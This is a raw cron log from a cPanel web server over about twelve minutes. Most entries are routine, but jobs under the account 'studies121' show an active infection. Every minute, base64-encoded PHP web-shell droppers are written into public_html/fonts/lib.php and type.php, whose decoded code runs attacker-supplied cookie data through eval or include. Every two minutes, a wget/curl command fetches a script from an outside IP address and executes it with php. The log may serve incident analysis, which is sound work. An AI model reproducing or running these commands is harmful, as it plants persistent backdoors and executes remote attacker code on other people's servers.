Sep  4 11:10:01 ip-184-168-122-23 CROND[12171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:10:01 ip-184-168-122-23 CROND[12169]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 11:10:01 ip-184-168-122-23 CROND[12166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:11:01 ip-184-168-122-23 CROND[12291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:11:01 ip-184-168-122-23 CROND[12294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:11:01 ip-184-168-122-23 CROND[12295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:11:01 ip-184-168-122-23 CROND[12293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:12:01 ip-184-168-122-23 CROND[12542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:12:01 ip-184-168-122-23 CROND[12543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:12:01 ip-184-168-122-23 CROND[12544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:12:01 ip-184-168-122-23 CROND[12545]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:12:01 ip-184-168-122-23 CROND[12541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:13:01 ip-184-168-122-23 CROND[12659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:13:01 ip-184-168-122-23 CROND[12658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:13:01 ip-184-168-122-23 CROND[12660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:13:01 ip-184-168-122-23 CROND[12661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:14:01 ip-184-168-122-23 CROND[12770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:14:01 ip-184-168-122-23 CROND[12768]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:14:01 ip-184-168-122-23 CROND[12771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:14:01 ip-184-168-122-23 CROND[12769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:14:01 ip-184-168-122-23 CROND[12772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:15:01 ip-184-168-122-23 CROND[12920]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:15:01 ip-184-168-122-23 CROND[12924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:15:01 ip-184-168-122-23 CROND[12921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:15:01 ip-184-168-122-23 CROND[12923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:15:01 ip-184-168-122-23 CROND[12925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:15:01 ip-184-168-122-23 CROND[12922]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:16:01 ip-184-168-122-23 CROND[13022]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:16:01 ip-184-168-122-23 CROND[13024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:16:01 ip-184-168-122-23 CROND[13026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:16:01 ip-184-168-122-23 CROND[13025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:16:01 ip-184-168-122-23 CROND[13027]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 11:16:01 ip-184-168-122-23 CROND[13029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:17:01 ip-184-168-122-23 CROND[13204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:17:01 ip-184-168-122-23 CROND[13205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:17:01 ip-184-168-122-23 CROND[13206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:17:01 ip-184-168-122-23 CROND[13207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:18:01 ip-184-168-122-23 CROND[13323]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:18:01 ip-184-168-122-23 CROND[13327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:18:01 ip-184-168-122-23 CROND[13325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:18:01 ip-184-168-122-23 CROND[13324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:18:01 ip-184-168-122-23 CROND[13328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:19:01 ip-184-168-122-23 CROND[13506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:19:01 ip-184-168-122-23 CROND[13507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:19:01 ip-184-168-122-23 CROND[13508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:19:01 ip-184-168-122-23 CROND[13510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:20:01 ip-184-168-122-23 CROND[13626]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 11:20:01 ip-184-168-122-23 CROND[13635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:20:01 ip-184-168-122-23 CROND[13637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:20:01 ip-184-168-122-23 CROND[13640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:20:01 ip-184-168-122-23 CROND[13638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:20:01 ip-184-168-122-23 CROND[13639]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 11:20:01 ip-184-168-122-23 CROND[13644]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:20:01 ip-184-168-122-23 CROND[13643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:20:01 ip-184-168-122-23 CROND[13642]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:21:01 ip-184-168-122-23 CROND[13799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:21:01 ip-184-168-122-23 CROND[13798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:21:01 ip-184-168-122-23 CROND[13801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:21:01 ip-184-168-122-23 CROND[13800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:22:01 ip-184-168-122-23 CROND[13929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:22:01 ip-184-168-122-23 CROND[13932]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
